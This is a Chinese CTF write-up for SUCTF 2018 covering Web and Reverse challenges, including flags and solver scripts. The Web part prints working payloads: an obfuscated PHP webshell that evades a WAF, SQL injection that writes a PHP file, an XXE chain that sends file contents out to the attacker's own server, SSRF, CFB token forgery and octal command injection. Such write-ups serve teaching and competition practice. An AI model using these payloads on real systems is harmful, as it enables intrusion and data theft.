耐 不 住 寂 寞 的 Hacker
都 关 注 了 这 个 公 众 号
最近 CTF 比赛很多哦,不知道你有没有参加上周末的 XCTF 分站赛——SUCTF 全国赛呢?胖哈勃今天为你们带来了 WriteUp 哦,文章真的超级长~所以分为了3篇,分别是:Web & Reverse、PWN、Cypto & MISC ,建议大家先收藏后细看喔。
WEB 篇
Anonymous
根据题目所给的代码可以看出
1. 它创建了一个匿名函数$MY,调用$MY时脚本结束并输出flag
2. 当给func_name用get方式传参时他会通过变量函数的方式调用函数
在php中匿名函数实际上是有名字的为\00lambda_%d %d为当前apache服务器创建过的匿名函数的数量 实际测试提交5000次请求之后这个值没有超过1250 也就是说服务器会将这个值重置,但是什么时候重置我们不知道,不过这没有关系 可以使用burp向服务器服务器反复提交%00lambda_1来尝试调用这个函数 这里还没有提交不到2000次就得到了flag
Getshell
从这段代码中可以看出对于上传的内容会有一个waf但是这个waf会忽略前5个字符 经过测试没被waf的字符有[ ] ( ) ~ = ; _ $ . 各种非英文字符 前5个字符不会被waf可以用来写<?php 那么像写出这个shell首先要知道三点:
1. ~(X) 当X为一个汉字时对这个汉字取反第二位很大概率得到一个英文字符
2. True可以被弱类型为1(所以可以用$[$==$_]来获得1中第二位的英文字符)
3. eval是一种语言结构而不是函数,所以不能使用变量函数来调用它.这里可以使用asser代替
可以写出shell:
<?php
$______=_;
$_=~(瞰);
$__=$_[$_==$_];
$_=~(范);
$__=$__.$_[$_==$_];
$_=~(范);
$__=$__.$_[$_==$_];
$_=~(皮);
$__=$__.$_[$_==$_];
$_=~(半);
$__=$__.$_[$_==$_];
$_=~(拉);
$__=$__.$_[$_==$_];
$_=~(为);
$___=$_[$_==$_];
$_=~(了);
$___=$___.$_[$_==$_];
$_=~(高);
$___=$___.$_[$_==$_];
$___=$______.$___;
$_=$$___;
$__($_[_]);
汉字取反后的第二位对应的英文字母:
<!--
特==>1=v
瞰==>1=a
皮==>1=e
为==>1=G
高==>1=T
哦==>1=l
了==>1=E
半==>1=r
拉==>1=t
范==>1=s
-->
获取目录下所有的文件列表:
$dir = $_GET["file"];
$file = scandir($dir);
echo ' <pre>';
print_r($file);
获取flag:
include(‘php://filter/resource=./../../../../Th1s_14_f14g’);
坑点: 使用burp查看什么字符被waf,发现只有[ ] ( ) _可以使用,但是实际可以使用的不止这些,在柠檬师傅的指点下发现burp发包时会默认将; . =等符号默认进行url编码,而由于是文件提交服务端并不会对它进行解码同时%被waf导致我们会误认为这些符号不可用
MultiSql
http://127.0.0.1:8088/user/user.php?id=6^(if(ascii(mid(user(),1,1))>0,0,1)) 存在注入(过滤了union、select、&、|….)
注入得到root用户,尝试读文件
http://127.0.0.1:8088/user/user.php?id=6^(if(ascii(mid(load_file(0x2F7661722F7777772F68746D6C2F696E6465782E706870),1,2))>1,0,1))
在/var/www/html/user/user.php中发现是用mysqli_multi_query()函数进行sql语句查询的,可以多语句执行
/var/www/html//bwvs_config/waf.php添加了魔术引号函数
为了绕过单双引号,使用mysql的预处理语句:
set @sql = concat(‘create table ‘,newT,’ like ‘,old);
prepare s1 from @sql;
execute s1;
将select '<?php phpinfo();?>' into outfile '/var/www/html/favicon/1.php';语句编码:
1.set @s=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),CHAR(32),CHAR(39),CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(112),CHAR(104),CHAR(112),CHAR(105),CHAR(110),CHAR(102),CHAR(111),CHAR(40),CHAR(41),CHAR(59),CHAR(63),CHAR(62),CHAR(39),CHAR(32),CHAR(105),CHAR(110),CHAR(116),CHAR(111),CHAR(32),CHAR(111),CHAR(117),CHAR(116),CHAR(102),CHAR(105),CHAR(108),CHAR(101),CHAR(32),CHAR(39),CHAR(47),CHAR(118),CHAR(97),CHAR(114),CHAR(47),CHAR(119),CHAR(119),CHAR(119),CHAR(47),CHAR(104),CHAR(116),CHAR(109),CHAR(108),CHAR(47),CHAR(102),CHAR(97),CHAR(118),CHAR(105),CHAR(99),CHAR(111),CHAR(110),CHAR(47),CHAR(49),CHAR(46),CHAR(112),CHAR(104),CHAR(112),CHAR(39),CHAR(59));2.PREPARE s2 FROM @s;3.EXECUTE s2;
经shell写到
http://127.0.0.1:8088/favicon/1.php
Homework
注册账号,登录作业平台。看到一个calc计算器类。有两个按钮,一个用于调用calc类实现两位数的四则运算。另一个用于提交代码。
XXE注入
点击calc按钮,计算2+2得到结果为4。
根据url结合calc源码可得到,module为调用的类,args为类的构造方法的参数。在PHP中存在内置类。其中包括SimpleXMLElement,文档中对于SimpleXMLElement::__construct定义如下:
可以看到通过设置第三个参数为true,可实现远程xml文件载入。第二个参数的常量值我们设置为2即可。第二个参数可定义的所有常量在这里。第一个参数就是我们自己设置的payload的地址,用于引入外部实体。
在自己的vps上构造obj.xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://vps/XXE/evil.xml">
%int;
%all;
%send;
]>
evil.xml代码如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">
1.php代码:
$content=$_GET['file'];
file_put_contents("content.txt",$content);
构造payload如下:
http://target:8888/show.php?module=SimpleXMLElement&args[]=http://vps/XXE/obj.xml&args[]=2&args[]=true
在自己的vps上查看content.txt即可看到base64编码后的index.php的源码。但是并不是完整的代码。需要将所有base64编码以空格或斜杠分割。逐一进行base64解码,拼接在一起才是完整的源码。我的解码脚本如下:
$source="base64 code";
$sour=explode(" ",$source);
$code="";
foreach($sour as $value){
if(strpos("/",$value)){
$v=explode("/",$value);
foreach($v as $v1){
echo base64_decode($v1)."\r\n";
}
continue;
}
echo base64_decode($value)."\r\n";
}
通过SimpleXMLElement::__construct进行文件读取的过程中会导致部分字符的丢失,但是不影响代码的整体阅读。所以在通过脚本解码之后,会有部分字符丢失。还有一点需要特别注意的是,通过这种方式读取的文件大小一般不能超过3kb。否则会读取失败,正是因为这个原因,我才把login拆分成login.php和login_p.php。
通过同样的方式,读取所有源码。下载下来后进行代码审计。
代码审计——sql注入
可以看到在submit.php中调用upload_file()函数。跟进function中的upload_file,可以看到将我们上传的文件的文件名及随机生成的md5值还有一个随机数sig存入数据库。文件名有过滤,在无0day的情况下无法绕过。文件名不可控,唯一的可控点就是通过post提交的sig。
通过审计可以看出来,在文件上传处存在一个二次注入。在文件上传时设置sig为十六进制数据,将sql语句注入数据库。在show.php页面触发。
但是show.php页面的查看源码功能只有本地用户才可访问。因此我们还需要寻找一个ssrf进行访问。由于代码中有sql的报错回显,所以我们可以继续使用
SimpleXMLElement::__construct读取回显内容。
首先在submit.php上传任意文件。在上传前修改html中sig的value值即可。
这里的数据是
'||extractvalue(1,concat(0x7e,(select @@version),0x7e))||'的十六进制编码。接下来修改evil.xml文件如下:
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=1.aspx">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?
file=%file;'>">
利用SimpleXMLElement::__construct触发ssrf并读取内容。方法和文件读取相同,exp如下:
http://target/show.php?module=SimpleXMLElement&args[]=http://vps/XXE/obj.xml&args[]=2&args[]=true
在content.txt中就可以看到报错注入的回显信息的base64编码,用上面的解码脚本跑一下就行。
最后getflag的exp如下:
ascii:'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
hex:0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27
HateIT
首先发现有.git文件夹存在,于是拿githack还原了下,发现一个readme,读完之后,发现有历史版本存在,查看网站的.git文件发现有标签,结合readme,猜测源码在标签里,于是写脚本还原。
还原之后发现一些php文件和opcode,通过opcode还原代码,而其他文件无法打开,在robots.txt里面发现一个so文件,结合readme推断出php文件是使用so文件加密过的,通过逆向so文件还原出源代码,开始代码审计。
打开之后理了遍流程,发现是通过输入的用户名进行加密,获得sign和token,加密方法使用的是cfb,然后再往下就是将token解密,将解密的结果通过 | 进行分割,并取第二个参数进行判断admin,但是通过阅读代码,可以发现正常流程下,是无法通过判断的。
观察加密流程,func.php里面有两个加密函数,两个解密函数,其中一组是aes-128-cbc,一组是cfb,但是cbc的加密解密并未使用。
这里的加密我写的有问题,很多选手直接伪造第二个参数为3就绕过了检查,使得整个题目的难度降了一级,然而我本意是想考一波CFB的重放攻击的,非常的可惜,但是自己写出来的洞,跪着也要担着,所以接下来的思路,我还是以CFB为主。
于是看一下加密流程,先是将 $user|$admin|$md5进行加密,然后放入session,但是后面会将session输出,因此我们可以获得自己的token和sign。
因此我们需要伪造session来通过判断。对于token的加密使用的是cfb,
cfb是使用的分组加密,因此我们需要传入token值,使得其解密后的token[1]的值为2,能看到,程序中使用的是int函数进行转换,这里就涉及到了php的弱类型问题,原先的token组成为:
token=user|admin|md5
先拓展token长度
token=user|admin|md5user|admin|$md5
再将第一段$admin|$md5部分与2异或,这样最终的第二段的解密结果以2开头,后续的数据被破坏,尽管 | 还是有三个,但是cfb是密文分组参与异或,因此第二段的错误会引起第三段16位一组的密文分组错误。
CFB攻击的脚本如下:
plain =
"meizimeizimeizi|0|xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
token =
"32b85d5f397d51156d2bc0cca7851cb8ba1bda625324964543d56974057bede0b886428015f9c6544269d81ed6450f8fe7dacebfabcc1ea1270a225d4ac90163"
raw_token = token.decode("hex")
print len(raw_token)
print len(plain)
fake_token = list(raw_token)
temp = fake_token[-64:]
fake_token[16] = chr(ord(raw_token[16]) ^ ord(plain[16]) ^ ord("3"))
fake_token = fake_token + temp
fake_token = "".join(fake_token).encode("hex")
print fake_token
此时便绕过了第一个admin部分的检查。
再阅读源码,发现在class.php中,有个system函数,而system函数的参数是从get传参的,而其验证只允许\和数字,因此可以使用八进制传输命令。
因此直接admin.php?
action=viewImage&size=\073\154\163\073,即:;ls;,即可执行ls命令.然后cat flag的位置即可。
Reverse 篇
babyre
mips题目,简单的base64变形解码,替换了base64置换表
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
base64list =
'R9Ly6NoJvsIPnWhETYtHe4Sdl+MbGujaZpk102wKCr7/0Dg5zXAFqQfxBicV3m8U'
cipherlist =
"eQ4y46+VufZzdFNFdx0zudsa+yY0+J2m"
length=len(cipherlist)
print length
group=length/4
s=''
string=''
for i in range(group-1):
j=i*4
s=cipherlist[j:j+4]
string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
string+=chr(((base64list.index(s[2]) &
0x03)<<6)+((base64list.index(s[3]))))
j=(group-1)*4
s=cipherlist[j:j+4]
string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
if s[2]=='=':
print string
else:
string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
if s[3]=='=':
print string
else:
string+=chr(((base64list.index(s[2]) &
0x03)<<6)+((base64list.index(s[3]))))
print string
#SUCTF{wh0_1s_y0ur_d4ddy}
simpleformat
这个题,是比赛开始以后发现逆向难题太难,所以加的一道简单题 = =,题目灵感来自于0ctf 2018 Quals的杂项MathGame。
打开程序,可以看到程序基本都在dprintf,往空设备里面输出了一大堆格式类似%1$*2$s的东西,最后还有一个%20$n。
打过Pwn的师傅们应该都知道,在Format String Bug利用的时候,向任意地址写入任意值用的是%n这个格式串,作用是将之前输出的字符个数写入对应的参数指向的地址。printf的$的用法则是指定这个格式串解析的参数偏移量。例如,%2$s即为取出后面的第2个参数,以%s的形式输出。显然,%20$n就是将之前输出的字符个数写到第20个参数的地址里。这里可以发现,每一次dprintf最后第20个参数都是一个int数组中的连续元素,且就是memcmp的源数组。
printf有一个神奇的格式参数是*,可以达到指定宽度的效果。例如:
printf("%.*s", 5, "==========") =>
"====="
printf("%0*d", 20, 0) =>
"00000000000000000000"
配合上$参数,就可以把指定参数设定为宽度,题目中%1$*2$s就是将第一个参数以第二个参数的宽度输出。那么,输出完%1$*2$s的串之后,当前输出长度即为第二个参数。下面又会再遇到一个%1$*2$s,那当前输出长度即为2倍的第二个参数。接下来每遇到一个这样的格式串,都会累加一次当前输出长度。
加上最后的%20$n这个格式串,将累加结果写入最后一个参数,程序的功能就很明显了。这实际上是一个线性方程组的问题,利用printf来实现元素的求和。
Z3,启动!
// 然而出题人并没有写脚本,不过参数提取出来,解一下应该很快的吧 = =
SUCTF{s1mpl3_prin7f_l1near_f0rmulas}
// 话说一开始想实现一点复杂的运算的,最后时间关系只能选择线性方程组。以后有机会我会探究一下printf如何优秀地实现除了加减法以外的运算。
RoughLike与期末大作业
运行游戏,提示说有TWO SPELL 帮助你逃出迷宫。
找到Assembly-CSharp.dll文件,运行游戏,找到一个和flag有关的函数:
// Token: 0x06000193 RID: 403 RVA: 0x000110AC File Offset: 0x0000F2AC
private void
LayoutObjectAtRandom_Flag(List<ItemsType> S3cretArray, int minimum, int
maximum)
......
case 5:
{
vector3 position = this.randomposition();
gameobject tile = s3cretarray[0].tile;
unityengine.object.instantiate<gameobject>(tile, position, quaternion.identity);
num = 0;
continue;
}
看到这个s3cretarray之后,确定方向,要么让这个逻辑执行,要么直接找到这个s3cretarray[0].tile对象是啥。这里直接修改逻辑,将两个几乎不可能完成的逻辑修改:
case 3:
if (GameManager.instance.playerFoodPoints != Decrypt.oro_1(59648))
{
num = 5;
continue;
}
return;
以及下面这一段。
case 6:
if (GameManager.instance.defeatedMonster != Decrypt.oro_0(12))
{
num = 2;
continue;
}
return;
修改逻辑之后,开始游戏就能够捡到一个道具,能够看到flag的第二部分:
另一部分在哪儿呢?如果看了CG动画的话,应该会知道和SPELL有关系。搜索 SPELL 找到一个奇怪的内容:
this.SPText =
GameObject.Find("SPELLText").GetComponent<Text>();
然后发现这个地方可能有问题,顺着找到发现还有一处奇怪的逻辑:
case 2:
GameManager.instance.SPText.enabled = true;
num = 36;
continue;
case 3:
if (GameManager.instance.defeatedBoss > Decrypt.oro_1(114))
{
num = 34;
continue;
}
goto IL_4FC;
...
case 30:
if (GameManager.instance.defeatedMonster > Decrypt.oro_0(514))
{
num = 2;
continue;
}
这一段逻辑显然也是难以触发的恶臭代码。于是我们这里可以再次修改逻辑(或者直接将SPText设置位可见),可以看到第一部分的flag:
综合两个信息,得到flag为:
WeLC0mE_70_5uc7F
Python大法好?!
考点:
python2.7的opcode,嵌套c,RC4加解密
解题过程:
拿到opcode,建议自己去写一段代码,然后获取opcode,进行对比。可能lambda那块比较难分析出来。
经过分析,可以得到a.py。可以看出这是python嵌套了C,主要的加解密过程需要分析库a中的函数
IDA分析a文件,发现导出了a函数也就是encrypt函数,但是没有解密函数,分析加密部分,是简单的RC4的实现,百度到RC4的实现(百度搜索第一条就是2333),是一样的,所以自己对照着加密逻辑,写个类似的解密逻辑。导出aa函数。
void decrypt(char *k){
FILE *fp1, *fp2;
unsigned char key[256] = {0x00};
unsigned char sbox[256] = {0x00};
fp1 = fopen("code.txt","r");
fp2 = fopen("decode.txt","w");
DataEncrypt(k, key, sbox, fp1, fp2);
}
extern "C"
{
void a(char *k){
encrypt(k);
}
void aa(char *k){
decrypt(k);
}
}
最后爆破出key在python中调用c的解密函数即可。
#-*- coding:utf-8 -*-
from ctypes import *
from libnum import n2s,s2n
import binascii as b
#key="20182018"
def aaaa(key):
a=lambda a:b.hexlify(a)
return "".join(a(i) for i in key)
def aa(key): #jia mi
a=cdll.LoadLibrary("./a").a
a(key)
def aaaaa(a):
return s2n(a)
def aaa(key): #jie mi
a=cdll.LoadLibrary("./a").aa
a(key)
def brup_key():
i=20182000
while i<100000000:
aaa(aaaa(str(i)))
data=open("flag.txt","r").read()
if "SUCTF" in data:
print i
break
i=i+1
def aaaaaa():
# aa(aaaa(key))#jia mi
# aaa(aaaa(key)) #jie mi
brup_key()
if __name__=="__main__":
aaaaaa()
key为20182018
Enigma
Enigma,是二战时德国所使用的转轮密码机,因为极其复杂的构造,而被翻译为“隐匿之王”。这道题也是实现了一个密码机,里面有转轮机,线性反馈移位寄存器,换位器等部件,为了增加难度,加法是由一位全加器实现。(然而善于观察的师傅们通过调试应该可以直接看出来)这道题的逆向……思路就是硬怼,从后向前把每一步逆着算出来,最后就可以拿到最初的明文。
附上题目源码:
#include <cstdio>
#include <cstring>
#include <string>
#include <bitset>
#include <iostream>
#include <cmath>
using namespace std;
string buf1;
unsigned char buf[40] = {0};
unsigned char buf2[40] = {0xa8, 0x1c,
0xaf, 0xd9, 0x0, 0x6c, 0xac, 0x2, 0x9b, 0x5, 0xe3, 0x68, 0x2f, 0xc7, 0x78, 0x3a, 0x2, 0xbc, 0xbf, 0xb9, 0x4d, 0x1c, 0x7d, 0x6e, 0x31, 0x1b, 0x9b, 0x84, 0xd4, 0x84, 0x0, 0x76, 0x5a, 0x4d, 0x6, 0x75};
bitset<32> buf3(0x5F3759DF);
// SUCTF{sm4ll_b1ts_c4n_d0_3v3rythin9!}
void bit_add(unsigned char a, unsigned char b, unsigned char c, unsigned char& f, unsigned char& s)
{
s = a ^ b ^ c;
f = (a & c) | (b & c) | (a & b);
return;
}
void xor_func(unsigned char a, unsigned char b, unsigned char& s)
{
s = a ^ b;
return;
}
void gg_func()
{
cout << "GG!" << endl;
exit(-1);
}
unsigned int do_lfsr()
{
unsigned char new_bit = buf3[31] ^ buf3[7] ^ buf3[5] ^ buf3[3] ^ buf3[2] ^ buf3[0];
buf3 = buf3.to_ulong() >> 1;
buf3[31] = new_bit;
return buf3.to_ulong();
}
void bit_shuffle()
{
bitset<8> t;
for (int i = 0; i < 36; i++)
{
t = buf[i];
for (int j = 0; j < 3; j++)
{
t[j] = t[j] ^ t[7-j];
t[7-j] = t[7-j] ^ t[j];
t[j] = t[j] ^ t[7-j];
}
buf[i] = t.to_ulong();
}
return;
}
void do_xor_lfsr()
{
unsigned int* p = (unsigned int *)buf;
for (int i = 0; i < 9; i++)
{
xor_func(do_lfsr(), p[i], p[i]);
}
return;
}
void do_wheel()
{
unsigned char wheel[3][4] = {{49, 98, 147, 196}, {33, 66, 99, 132}, {61, 122, 183, 244}};
int i = 0, j = 0, k = 0;
for (int x = 0; x < buf1.length(); x++)
{
unsigned char res = 0;
unsigned char sf = 0;
unsigned char cf = 0;
bitset<8> r(buf1[x]);
bitset<8> bs_num(wheel[0][i]);
for (int b = 0; b < 8; b++)
{
bit_add(r[b], bs_num[b], cf, cf, sf);
r[b] = sf;
}
bs_num = wheel[1][j];
for (int b = 0; b < 8; b++)
{
bit_add(r[b], bs_num[b], cf, cf, sf);
r[b] = sf;
}
bs_num = wheel[2][k];
for (int b = 0; b < 8; b++)
{
bit_add(r[b], bs_num[b], cf, cf, sf);
r[b] = sf;
}
res = r.to_ulong();
buf[x] = res;
i++;
if (i == 4)
{
i = 0;
j++;
}
if (j == 4)
{
j = 0;
k++;
}
if (k == 4)
{
k = 0;
}
}
return;
}
int main()
{
cout << " _____ __ ____________________" << endl;
cout << " / ___// / / / ____/_ __/ ____/" << endl;
cout << " \\__ \\/ / / / / / / / /_ " << endl;
cout << " ___/ / /_/ / /___ / / / __/ " << endl;
cout << "/____/\\____/\\____/ /_/ /_/ " << endl;
cout << "Input flag: " << endl;
cin >> buf1;
if (buf1.length() != 36)
{
gg_func();
}
do_wheel();
bit_shuffle();
do_xor_lfsr();
if (memcmp(buf, buf2, 36))
{
gg_func();
}
else cout << "200 OK!" << endl;
return 0;
}
// 不要吐槽辣鸡的实现方式
// 出题人的怨念:这个题作为难题来说还是出简单了,转轮机和反馈寄存器原本是为了产生One-Time-Pad而设计的,但在逆向中由于可以多次调试,就变成了简单的多表移位和流式密码,调出偏移就好了。如果有机会应该加入更多坑爹的东西,比如根据上一次结果动态变化的转轮(那还能逆么,pia
RubberDucky[天枢][选手:Invicsfate]
badusb的题目,在HITB2018上的hex就是一道badusb的题目,这道题目同理,只是逻辑改变了,先hex2bin,arduino micro板子使用的是atmega32u4,编译器是arduino avr,在逆向时我选择了atmega32_L,程序的大致功能就是运行rundll32 url.dll,0penURL xxxxxxxxxx,从一个url上获取数据,我们只要获得这串url即可,脚本如下:
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
import string
guess =
[0x25,0x16,0x09,0x07,0x63,0x62,0x68,0x1B,0xf,0x4E,0x12,0x7,0x24,0x1b,0xb,0x61,0x1A,0x17,0x46,0x11,0x6,0x1,0x18,0x1f,0x39,0xd,0x25,0x1b,0x53,0x16,0x9,0x3,0x5F,0x24,0x36,0x30,0x44,0xd,0x14,0x41,0x60,0x08,0x20,0x28,0x36,0x39,0x18,0x37,0x2e,0x49,0x1e,0x01,0x06]
cipher = 'MasterMeihasAlargeSecretGardenfortHeTeamSU,canUfindit'
ans = ''
for i in range(len(cipher)):
tmp = chr((((guess[i]-i%10)&0xff)^ord(cipher[i])))
ans += tmp
print ans
得到
http://qn-
suctf.summershrimp.com/UzNjcmU3R2FSZGVO.zip。
解压得到的程序是一个pyinstaller打包的程序,使用pyinstxtractor解包,得到其的pyc文件,pyc文件缺失文件头标志和时间戳,补上即可,时间戳可以随意,我是用自己编译pyc文件的时间戳,使用uncompyle2即可得到py文件如下:
# 2018.05.27 18:53:29 Öйú±ê׼ʱ¼ä
#Embedded file name: RubberDucky.py
import os
import time
print '##### # # ##### '
print '# # # # #### ###### ####
##### ###### ##### # # ## ##### ##### ###### # # '
print '# # # # # # # # #
# # # # # # # # # # ## # '
print ' ##### # # #### ##### #
# # ##### # # #### # # # # #
# ##### # # # '
print ' # # # # # # #####
# # # # ###### ##### # # # # # # '
print '# # # # # # # # # # #
# # # # # # # # # # # # ## '
print ' ##### ##### #### ######
#### # # ###### # ##### # # # # ##### ###### # # '
introduction = 'Je suis la garde du jardin'
question = 'Donnez-moi FLAG avant de pouvoir y aller'
time.sleep(2)
os.system('cls')
print 'Garde:' + introduction
time.sleep(2)
print 'Garde:' + question
time.sleep(2)
flag = ''
b = ''
cipher = 'YVGQF|1mooH.hXk.SebfQU`^WL)J[\\(`'
flag = raw_input('You:')
if len(flag) != 32:
print 'It has 32 words'
os.system('exit')
for i in range(len(flag)):
b += chr(ord(flag[i]) + ord(flag[i]) % 4 * 2 - i)
if b == cipher:
print 'Garde:' + 'Correct flag! Welcome my friend, Meizijiu Shifu appreciates your visiting here!'
else:
print 'Garde:' + 'Noooo!Stranger!!Get out!'
+++ okay decompyling test.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2018.05.27 18:53:29
写解密脚本
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
import string
table = string.printable
cipher = 'YVGQF|1mooH.hXk.SebfQU`^WL)J[\\(`'
ans = ''
for group in range(len(cipher)):
for ch in table:
tmp = ord(ch) + (ord(ch) % 4) * 2 - group
if tmp < 127:
if chr(tmp) == cipher[group]:
ans += ch
break
print ans
#SUCTF{5tuxN3t_s7arts_from_A_usB}